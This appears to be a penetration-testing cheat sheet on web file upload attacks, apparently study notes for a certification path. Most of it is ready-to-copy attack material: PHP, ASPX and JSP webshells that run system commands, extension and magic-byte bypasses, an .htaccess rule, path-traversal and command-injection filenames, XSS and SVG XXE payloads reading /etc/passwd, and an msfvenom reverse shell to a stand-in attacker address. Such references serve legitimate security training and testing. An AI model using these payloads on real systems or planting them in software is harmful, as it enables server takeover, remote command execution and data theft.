Web

File Upload Attacks

Malicious upload from the CWES path: PHP/ASPX/JSP webshells, extension and Content-Type bypasses, magic bytes, .htaccess, filename traversal/injection, and SVG XSS/XXE. Every payload separated.

Detection

Step 1 — Find upload functionality

In Burp Proxy → HTTP history, look for:

  • multipart/form-data POST requests
  • Parameters named file, upload, avatar, attachment, document, image
  • Any response that returns a URL to the uploaded file

Step 2 — Probe what’s blocked

Upload a benign .php file containing only a comment (no execution risk). Observe:

  • Is the extension rejected outright? → extension filtering
  • Is it accepted but stored with a different extension? → server-side rename
  • Is it accepted and accessible at a returned URL? → proceed to webshell

Check the Content-Type and extension validation separately:

  1. Upload shell.php with Content-Type: image/jpeg — if accepted → Content-Type not validated
  2. Upload shell.jpg (real image bytes + PHP appended) — if accessible as PHP → extension not validated
  3. Upload shell.PhP — if accepted → case-insensitive filter bypass

Step 3 — Access the uploaded file

If upload succeeds, find where the file is stored:

  • The response body may return the path directly
  • Check /uploads/, /files/, /images/, /media/
  • Use Burp Intruder to fuzz the path if not obvious

Request the file to confirm execution:

curl -s https://TARGET/uploads/shell.php?cmd=id

Step 4 — Confirm RCE

curl -s "https://TARGET/uploads/shell.php?cmd=id"
# Expected: uid=33(www-data) gid=33(www-data)

Attack order

  1. PHP shell direct → extension bypass (.phtml/.php5/.phar/case) → Content-Type bypass → magic bytes → .htaccess
  2. Non-PHP server? → ASPX (IIS/.NET) or JSP (Tomcat/Java)
  3. No RCE path? → SVG XXE for file read → exiftool XSS in metadata → filename injection

PHP webshells

Minimal (cmd parameter):

<?php system($_REQUEST['cmd']); ?>

shell_exec variant:

<?php echo shell_exec($_GET['cmd']); ?>

Password-protected (only runs if p md5 matches):

<?php if(md5($_GET['p'])=='5f4dcc3b5aa765d61d8327deb882cf99'){system($_GET['c']);} ?>

Extension bypass (when .php is blacklisted)

shell.phtml
shell.php5
shell.phar
shell.php7
shell.pHp

Double extension (server parses last, app checks first):

shell.jpg.php

Null byte (PHP < 5.5):

shell.php%00.jpg

Content-Type / magic byte bypass

Change the upload request’s Content-Type header:

Content-Type: image/jpeg

GIF magic bytes + PHP shell:

printf 'GIF89a;' > shell.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.php

PNG magic bytes + PHP shell:

printf '\x89PNG\r\n\x1a\n' > shell.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.php

.htaccess to make .jpg run as PHP:

AddType application/x-httpd-php .jpg

Filename tricks

Path traversal in the filename:

filename="../../../var/www/html/shell.php"

Command injection via filename:

file$(whoami).jpg

XSS via filename:

<script>alert(window.origin);</script>

Non-PHP shells

ASPX (IIS / .NET):

<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% Response.Write(new Process{StartInfo=new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd()); %>

JSP (Tomcat / Java):

<% Process p = Runtime.getRuntime().exec(request.getParameter("c")); java.io.DataInputStream in = new java.io.DataInputStream(p.getInputStream()); String line=""; while((line=in.readLine())!=null){out.println(line+"<br>");} %>

Image / metadata attacks

Inject XSS into image metadata with exiftool:

exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' HTB.jpg

SVG with XXE (read a file when the server parses it):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Reverse shell payload

Generate a PHP reverse shell:

msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php